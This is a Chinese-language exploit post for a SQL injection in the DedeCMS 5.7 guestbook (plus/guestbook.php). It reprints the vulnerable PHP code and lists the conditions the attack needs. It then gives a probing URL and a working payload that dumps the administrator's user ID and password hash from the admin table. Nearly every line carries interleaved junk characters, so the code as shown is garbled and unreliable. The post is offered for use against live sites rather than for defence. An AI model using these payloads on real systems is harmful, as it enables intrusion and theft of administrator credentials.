dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

* C) N0 U% G* L7 i% @+ q漏洞文件edit.inc.php具体代码：
( ~5 y  d& K8 e' R9 {2 b4 l
< ?php  
" o& E9 n) K% D  W  N& D
if(!defined('DEDEINC')) exit('Request Error!');  
5 {$ Y) t& c- j6 E( A( ?9 m5 m
% J1 G/ a3 Y  A: e+ V   

- X+ w+ R4 D0 |! p$ u. ^; e/ \0 Gif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
7 x4 T4 k* x# J  h
: s" V: a- U$ A0 B6 D) J: G   

$id = intval($id);  
* |2 l% S+ s; y5 S5 e2 T0 |
: D( y9 v1 K; e) C' e1 s1 qif(empty($job)) $job='view';  
! t, N, V. Q& H7 ~0 I. L
, T8 ^) M0 u5 Y9 o% ?; v   
, V8 W) {& O* i& w6 V% a
if($job=='del' && $g_isadmin)  

{  

1 d7 ?* d" X8 Q* ^: B0 S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

: Y) q7 z+ R; j; q. {/ i) pShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

$ }# d8 V5 w4 vexit();  
1 a, o8 Z& C8 h. i/ r* X5 D
) {5 [  b9 ?; x/ K7 I5 m  b9 g}  

  }. X; `0 Q% N3 Oelse if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  _8 W0 a" R- Z" ]" f; s5 Q
  l$ W' _" _4 g# Z5 fShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
5 h6 D# M) t% L* i5 w) E. C: B
exit();  

}  

else if($job=='editok')  
& z- [' [# u' E% K9 Z
/ T2 j4 }* z! z7 L6 `{  
7 e+ n+ H0 B* N* p) j: v
, ?0 f4 e" n# R" ?1 k$remsg = trim($remsg);  
3 Z+ G2 R* [1 }$ {! ?) f
if($remsg!='')  

* v  g; w& i6 ?1 A/ Z0 {2 j$ D, s{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
5 s# U, F# e& Z' V( H9 C6 [4 s; R
8 ?! ^7 B8 V" H: j2 I% iif($g_isadmin)  
4 g( t4 y+ ~7 v/ Y- d. d
( r/ Q6 J6 H) n1 M- K" L{  
2 n( B) X9 X4 H8 i( `: g
9 e! s" G7 X) W. T3 U: C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
+ Y! g2 e4 r5 a$ ?
//$remsg <br /><font color=red>管理员回复：</font> }  
- s. y7 ~' i) G% D' Z
else

{  
. ]& g; X( ?% \* i$ K; e
' `% m2 q/ x* F4 V! i$ ^$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
: s% ^8 |. o1 l$ D/ v- v: K
& M  E$ f1 k' U! t- X/ @/ X$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

/ V0 |6 `% B6 [. q; d$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
0 w5 p" W: L( h! u! i4 m
$msg = $oldmsg.$remsg;  
! W4 Y6 n5 u$ Q: ^6 @
5 A# @* K4 s8 p9 ]5 \, X}  

+ I0 F0 l: z9 L& f3 _- e2 o}  
  L. I2 [3 U4 J9 j
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
9 u$ r, J7 Y9 v3 \# F( |
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
  b) f2 U) E% i4 h1 w
ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
5 K( {+ e. J' ]- s; H) R, ?
exit();  
6 ^" D7 M0 k! X/ B! S+ u
}  
& h6 s6 _2 t7 p$ d8 N5 g+ y% N
//home:www.errs.cc  
8 @0 \% H$ b8 U  V: X8 f  u' [
if($g_isadmin)  

& h2 ^- S& P& N4 m4 \# T{  

, Q# _8 K( V6 G* z4 g& B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
) m* c4 u0 g' q8 Y, Y  N
4 c4 V: P  q' W  F* Mrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 M& U0 [; h# |5 L0 }5 y6 M7 n, }
}  

0 U' F, Q1 \2 F1 e/ Lelse
0 B% V3 V! C. H5 I6 u! ?) \
{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ a) e5 M& G) d/ c$ v
. ~/ p! Y% L7 _0 g( crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
) `3 n! U+ ]" b1. php magic_quotes_gpc=off
& x4 w9 G! E4 \, f' \2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
, V/ t+ P6 `2 E
0 {- ^, b' Q/ R怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
+ Z# m/ s6 X6 k: }然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
) j- h' U. W# S9 W+ c
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

& i3 L$ T+ T& B7 O1 g* N0 F
. O4 E6 E4 s/ j: P4 b7 x明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! i& g2 Z+ P" l: B$ {如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

; r/ Z* D  W2 ?# _大概利用就是这样，大家有兴趣的多研究下！！
0 {: f8 ~, a5 X  U
) L& g0 z9 E8 m最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='